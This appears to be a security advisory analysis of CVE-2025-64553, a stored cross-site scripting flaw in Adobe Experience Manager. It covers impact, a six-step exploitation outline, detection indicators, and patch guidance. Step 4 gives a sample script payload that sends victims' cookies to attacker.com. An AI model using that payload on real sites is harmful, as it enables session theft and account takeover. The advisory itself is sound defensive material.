CVE-2025-64553: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64553 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script executes in the victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) and low privileges on the AEM instance, with a changed scope indicating the impact crosses the security boundary into the victim's browser session (Adobe Advisory, EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, resulting in low confidentiality and low integrity impact with no direct availability impact. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and further phishing or malware delivery within the AEM environment. The changed scope means the impact extends beyond the attacker's privilege level to affect other users of the platform (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using network scanning or Shodan/Censys queries targeting AEM-specific endpoints.
2. Authenticate with low privileges: Obtain or register a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and render it without proper sanitization (e.g., content authoring forms, comment fields, or custom components).
4. Inject stored XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator or editor) to browse the page containing the injected payload, causing the script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling account takeover or further lateral movement within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: Presence of JavaScript payloads stored within AEM JCR (Java Content Repository) nodes, detectable via repository inspection or content auditing tools.
• Browser / Application: Unexpected redirects, pop-ups, or form submissions occurring when authenticated users browse specific AEM pages; anomalous JavaScript errors in browser developer console referencing external domains.

Adobe has released patches addressing CVE-2025-64553 in AEM 6.5 Service Pack 24 (version 6.5.24.0) for on-premises deployments and AEM as a Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict content authoring access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules to block injection attempts. Review and audit existing AEM content for stored XSS payloads using repository inspection tools (Adobe Advisory, CIS Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including CVE-2025-64553, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). The vulnerability was noted in automated CVE tracking feeds and vulnerability databases shortly after Adobe's December 9, 2025 disclosure, with no significant independent researcher commentary or social media discussion identified beyond routine aggregation.